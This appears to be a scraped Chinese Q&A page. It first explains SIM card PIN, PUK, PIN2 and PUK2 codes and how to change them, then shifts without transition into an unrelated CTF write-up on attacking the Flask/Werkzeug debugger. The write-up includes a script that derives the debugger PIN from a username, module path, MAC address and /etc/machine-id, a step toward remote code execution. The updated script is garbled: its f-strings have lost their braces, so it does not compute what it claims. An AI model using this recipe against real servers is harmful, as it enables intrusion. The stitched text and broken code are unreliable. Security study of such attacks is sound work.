手机的PIN码怎么改,原来PIN码是啥

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了手机的PIN码怎么改,原来PIN码是啥相关的知识,希望对你有一定的参考价值。

以下为修改步骤:

    设置中选择高级设置。

2.打开高级设置,然后轻按“安全”。

3.点击设置卡一卡锁

4.点击修改SIM卡PIN密码。

扩展资料:

PIN码(PIN1)就是SIM卡的个人识别密码。如果未经使用者修改,运营商设置的原始密码是1234或0000。

在输入三次PIN码错误时,手机便会自动锁卡,并提示输入PUK码解锁,需要使用服务密码拨打运营商客服热线,客服会告知初始的PUK码,输入PUK码之后就会解锁PIN码。

参考技术A 固定拨号 功能需要输入PIN2密码的,你的手机是因为输入了三次错误的PIN2密码,导致PIN2码已锁。
现在需要PUK2码,输入了正确的PUK2码,才可以重新设置PIN2码。
PUK2码应该去移动公司查询,但是很多省份的移动都查不到PUK2码。
你现在不要再尝试输入PUK2码,因为输入错误的10次之后,你的卡就会锁住了。

PIN2和PUK2是移动内部统计话费的.一般是不会告诉你的.
即使你PIN2和PUK2都锁上了,也不影响你手机的正常使用

另一说法中国尚未开通PIN2业务.
中国移动SIM卡密码分为PIN码、PIN2码,PUK码和PUK2码共四种,这四种密码的初始码都是由提供SIM卡的运营商中国移动提供的,四种密码的关系如下:
PIN码(PIN1)就是SIM卡的个人识别密码。如果未经使用者修改,运营商设置的原始密码是1234或0000。如果启用了开机PIN码,那么每次开机后就要输入4位数PIN码,PIN码是可以修改的,用来保护自己的SIM卡不被他人使用。需要注意的是,如果输入三次PIN码错误,手机便会自动锁卡,并提示输入PUK码解锁,这个时候已经接近了危险的边缘,因此,如果擅自修改了PIN码,一定要牢记。
PUK码(PUK1)由8位数字组成,这是用户无法更改的。当手机PIN码被锁,并提示输入PUK码时,千万不要轻举妄动,因为PUK码只有10次输入机会,10次都输错的话,SIM卡将会被永久锁死,也就是报废。部分SIM卡的PUK码是用户在购卡时随卡附带的,如中国移动的神州行等,而另一部分则需要向网络运营商索龋如果你的PIN码被锁且不知道PUK码,千万不要随便输入,此时正确的做法应该是致电SIM卡所属运营商的服务热线,在经过简单的用户资料核对后,即可获取PUK码,解开手机锁,该项服务是免费的。
PIN2码是设定手机计费时使用的。如果输入三次错误,手机会需要用PUK2码解锁,过程与先前介绍的PIN码、PUK码相同。不过这两种密码与网络计费及SIM卡内部资料的修改有关,所以不会公开,而且即便PIN2密码锁死,也不会影响手机的正常使用。因此,PIN2码和PUK2码不必去刻意理会。
参考技术B 固定拨号 功能需要输入PIN2密码的,你的手机是因为输入了三次错误的PIN2密码,导致PIN2码已锁。 现在需要PUK2码,输入了正确的PUK2码,才可以重新设置PIN2码。 PUK2码应该去移动公司查询,但是很多省份的移动都查不到PUK2码。 你现在不要再尝试输入PUK2码,因为输入错误的10次之后,你的卡就会锁住了。 PIN2和PUK2是移动内部统计话费的.一般是不会告诉你的. 即使你PIN2和PUK2都锁上了,也不影响你手机的正常使用 另一说法中国尚未开通PIN2业务. 中国移动SIM卡密码分为PIN码、PIN2码,PUK码和PUK2码共四种,这四种密码的初始码都是由提供SIM卡的运营商中国移动提供的,四种密码的关系如下: PIN码(PIN1)就是SIM卡的个人识别密码。如果未经使用者修改,运营商设置的原始密码是1234或0000。如果启用了开机PIN码,那么每次开机后就要输入4位数PIN码,PIN码是可以修改的,用来保护自己的SIM卡不被他人使用。需要注意的是,如果输入三次PIN码错误,手机便会自动锁卡,并提示输入PUK码解锁,这个时候已经接近了危险的边缘,因此,如果擅自修改了PIN码,一定要牢记。 PUK码(PUK1)由8位数字组成,这是用户无法更改的。当手机PIN码被锁,并提示输入PUK码时,千万不要轻举妄动,因为PUK码只有10次输入机会,10次都输错的话,SIM卡将会被永久锁死,也就是报废。部分SIM卡的PUK码是用户在购卡时随卡附带的,如中国移动的神州行等,而另一部分则需要向网络运营商索龋如果你的PIN码被锁且不知道PUK码,千万不要随便输入,此时正确的做法应该是致电SIM卡所属运营商的服务热线,在经过简单的用户资料核对后,即可获取PUK码,解开手机锁,该项服务是免费的。 PIN2码是设定手机计费时使用的。如果输入三次错误,手机会需要用PUK2码解锁,过程与先前介绍的PIN码、PUK码相同。不过这两种密码与网络计费及SIM卡内部资料的修改有关,所以不会公开,而且即便PIN2密码锁死,也不会影响手机的正常使用。因此,PIN2码和PUK2码不必去刻意理会。 参考技术C PIN码:为个人识别密码,统一初始密码为1234,但如果启用了SIM卡的PIN码,开机后连续三次输入错误PIN密码将被锁定,需要PUK码解锁,客户可到营业厅办理免费解锁,解锁后的密码仍为初始密码1234。
PUK码:是PIN码的解锁密码,手机PIN码被锁时,输入PUK码解锁,连续输入十次错误码,SIM卡将被永久锁定自动报废 。
因各省规定存在差异,具体情况可以拨打当地10086咨询。

中国移动客诉受理服务

在线客服通道,定向为您服务

    官方电话官方服务
      官方网站业务办理
参考技术D SIM卡的初始密码为1234,连续输错三次,SIM卡即被锁住;如SIM卡被锁,此时需输入PUK码解锁。
您可登陆网上营业厅http://iservice.10010.com/e3/ ,点击左上角的小人图标,即显示PUK码资料。
温馨提示:
1、PUK码输错10次后,SIM卡不可恢复;
2、您还可登陆手机营业厅或联系当地人工服务查询PUK码。

联通服务问卷调查

¥中国联通

话费购

用不完的话费可送存买

¥0元起

话费购

用不完的话费可送存买

¥0元起

话费购

用不完的话费可送存买

¥0元起

    在线客服官方服务
      官方网站秒懂联通客户俱乐部行家主页联通知乎

flask的pin码攻击——新版本下pin码的生成方式

在打*CTF的时候,一道明显是flask的pin码生成进而RCE的题目卡了半天,最后发现是新版本的flask的pin码生成方式有了一定的改变,这里做一下记录。

我们常用的生成pin码的脚本如下:

import hashlib
from itertools import chain
probably_public_bits = [
    'root',# username
    'flask.app',# modname
    'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
    '/usr/local/lib/python3.5/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]

private_bits = [
    '2485377892354',# str(uuid.getnode()),  /sys/class/net/ens33/address
    '32e48d371198e8420c53b0a1fa37e94d'# get_machine_id(), /etc/machine-id
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

这个脚本实际上改造自flask生成pin码的函数get_pin_and_cookie_name(位于site-packages/werkzeug/debug/__init__.py),其内容如下:

def get_pin_and_cookie_name(app):
    """Given an application object this returns a semi-stable 9 digit pin
    code and a random key.  The hope is that this is stable between
    restarts to not make debugging particularly frustrating.  If the pin
    was forcefully disabled this returns `None`.

    Second item in the resulting tuple is the cookie name for remembering.
    """
    pin = os.environ.get('WERKZEUG_DEBUG_PIN')
    rv = None
    num = None

    # Pin was explicitly disabled
    if pin == 'off':
        return None, None

    # Pin was provided explicitly
    if pin is not None and pin.replace('-', '').isdigit():
        # If there are separators in the pin, return it directly
        if '-' in pin:
            rv = pin
        else:
            num = pin

    modname = getattr(app, '__module__',
                      getattr(app.__class__, '__module__'))

    try:
        # `getpass.getuser()` imports the `pwd` module,
        # which does not exist in the Google App Engine sandbox.
        username = getpass.getuser()
    except ImportError:
        username = None

    mod = sys.modules.get(modname)

    # This information only exists to make the cookie unique on the
    # computer, not as a security feature.
    probably_public_bits = [
        username,
        modname,
        getattr(app, '__name__', getattr(app.__class__, '__name__')),
        getattr(mod, '__file__', None),
    ]

    # This information is here to make it harder for an attacker to
    # guess the cookie name.  They are unlikely to be contained anywhere
    # within the unauthenticated debug page.
    private_bits = [
        str(uuid.getnode()),
        get_machine_id(),
    ]

    h = hashlib.md5()
    for bit in chain(probably_public_bits, private_bits):
        if not bit:
            continue
        if isinstance(bit, text_type):
            bit = bit.encode('utf-8')
        h.update(bit)
    h.update(b'cookiesalt')

    cookie_name = '__wzd' + h.hexdigest()[:20]

    # If we need to generate a pin we salt it a bit more so that we don't
    # end up with the same value and generate out 9 digits
    if num is None:
        h.update(b'pinsalt')
        num = ('%09d' % int(h.hexdigest(), 16))[:9]

    # Format the pincode in groups of digits for easier remembering if
    # we don't have a result yet.
    if rv is None:
        for group_size in 5, 4, 3:
            if len(num) % group_size == 0:
                rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                              for x in range(0, len(num), group_size))
                break
        else:
            rv = num

    return rv, cookie_name

而新版本的get_pin_and_cookie_name的内容有了一定的修改:

def get_pin_and_cookie_name(
    app: "WSGIApplication",
) -> t.Union[t.Tuple[str, str], t.Tuple[None, None]]:
    """Given an application object this returns a semi-stable 9 digit pin
    code and a random key.  The hope is that this is stable between
    restarts to not make debugging particularly frustrating.  If the pin
    was forcefully disabled this returns `None`.

    Second item in the resulting tuple is the cookie name for remembering.
    """
    pin = os.environ.get("WERKZEUG_DEBUG_PIN")
    rv = None
    num = None

    # Pin was explicitly disabled
    if pin == "off":
        return None, None

    # Pin was provided explicitly
    if pin is not None and pin.replace("-", "").isdigit():
        # If there are separators in the pin, return it directly
        if "-" in pin:
            rv = pin
        else:
            num = pin

    modname = getattr(app, "__module__", t.cast(object, app).__class__.__module__)
    username: t.Optional[str]

    try:
        # getuser imports the pwd module, which does not exist in Google
        # App Engine. It may also raise a KeyError if the UID does not
        # have a username, such as in Docker.
        username = getpass.getuser()
    except (ImportError, KeyError):
        username = None

    mod = sys.modules.get(modname)

    # This information only exists to make the cookie unique on the
    # computer, not as a security feature.
    probably_public_bits = [
        username,
        modname,
        getattr(app, "__name__", type(app).__name__),
        getattr(mod, "__file__", None),
    ]

    # This information is here to make it harder for an attacker to
    # guess the cookie name.  They are unlikely to be contained anywhere
    # within the unauthenticated debug page.
    private_bits = [str(uuid.getnode()), get_machine_id()]

    h = hashlib.sha1()
    for bit in chain(probably_public_bits, private_bits):
        if not bit:
            continue
        if isinstance(bit, str):
            bit = bit.encode("utf-8")
        h.update(bit)
    h.update(b"cookiesalt")

    cookie_name = f"__wzdh.hexdigest()[:20]"

    # If we need to generate a pin we salt it a bit more so that we don't
    # end up with the same value and generate out 9 digits
    if num is None:
        h.update(b"pinsalt")
        num = f"int(h.hexdigest(), 16):09d"[:9]

    # Format the pincode in groups of digits for easier remembering if
    # we don't have a result yet.
    if rv is None:
        for group_size in 5, 4, 3:
            if len(num) % group_size == 0:
                rv = "-".join(
                    num[x : x + group_size].rjust(group_size, "0")
                    for x in range(0, len(num), group_size)
                )
                break
        else:
            rv = num

    return rv, cookie_name

因此,我们生成pin码的脚本也需要进行一定的修改:

import hashlib
from itertools import chain
probably_public_bits = [
    'root',# username
    'flask.app',# modname
    'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
    '/usr/local/lib/python3.5/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]

private_bits = [
    '2485377892354',# str(uuid.getnode()),  /sys/class/net/ens33/address
    '32e48d371198e8420c53b0a1fa37e94d'# get_machine_id(), /etc/machine-id
]

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode("utf-8")
    h.update(bit)
h.update(b"cookiesalt")

cookie_name = f"__wzdh.hexdigest()[:20]"

# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits
num = None
if num is None:
    h.update(b"pinsalt")
    num = f"int(h.hexdigest(), 16):09d"[:9]

# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
rv = None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = "-".join(
                num[x : x + group_size].rjust(group_size, "0")
                for x in range(0, len(num), group_size)
            )
            break
    else:
        rv = num

print(rv)

以上是关于手机的PIN码怎么改,原来PIN码是啥的主要内容,如果未能解决你的问题,请参考以下文章

pin code中文是啥意思

pin是啥意思?

pin是啥意思用法

苹果电脑pin码是啥

手机pun与puk的作用?

Essential Phone怎么破解PIN吗